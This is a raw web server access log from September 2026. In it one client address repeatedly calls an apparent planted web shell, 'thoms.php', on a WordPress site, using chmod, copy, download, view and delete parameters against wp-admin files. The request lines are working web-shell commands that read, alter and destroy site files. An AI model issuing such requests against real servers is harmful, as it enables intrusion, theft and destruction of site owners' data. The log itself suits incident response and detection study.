45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /bft.com.tw/wp-admin/plugins.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?dl=site-health-info.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /bft.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /bft.com.tw/wp-admin/freedoms.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?dl=menu.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13005 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?dl=plugin-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30081 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?del=custom-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:15 -0400] "GET /thoms.php?dl=link-add.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 11988 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?chmod=nav-menus.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?chmod=js&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=js&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcomment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcomment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?del=theme-install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16373 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /bft.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12276 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Frevision.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Frevision.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?dl=options-reading.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=error_log HTTP/1.1" 200 13631 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15219 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:16 -0400] "GET /thoms.php?del=includes&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?del=includes&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?chmod=link-manager.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /bft.com.tw/wp-admin/my-sites.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?del=options-general.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28619 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16879 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?dl=press-this.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?dl=users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28619 "http://163.245.207.76:443/thoms.php?dl=users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12673 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 11993 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25675 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 11989 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /bft.com.tw/wp-admin/admin-post.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:17 -0400] "GET /thoms.php?del=load-styles.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28620 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /bft.com.tw/wp-admin/plugin-install.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /bft.com.tw/wp-admin/post-new.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?dl=media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28647 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?del=setup-config.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28636 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?del=edit-link-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28645 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?del=ms-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28646 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?chmod=admin-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28646 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /bft.com.tw/wp-admin/ms-users.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17268 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?chmod=options-privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18600 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /bft.com.tw/wp-admin/update.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?del=options-connectors.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftools.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ftools.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /bft.com.tw/wp-admin/themes.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15266 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?dl=revision.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28628 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?del=site-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13699 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?dl=font-library.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fload-styles.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fload-styles.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /bft.com.tw/wp-admin/ms-options.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:19 -0400] "GET /thoms.php?del=upgrade-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?chmod=about.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?chmod=press-this.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /bft.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?chmod=site-health-info.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?del=maint&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28640 "http://163.245.207.76:443/thoms.php?del=maint&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?chmod=term.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:20 -0400] "GET /thoms.php?dl=authorize-application.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
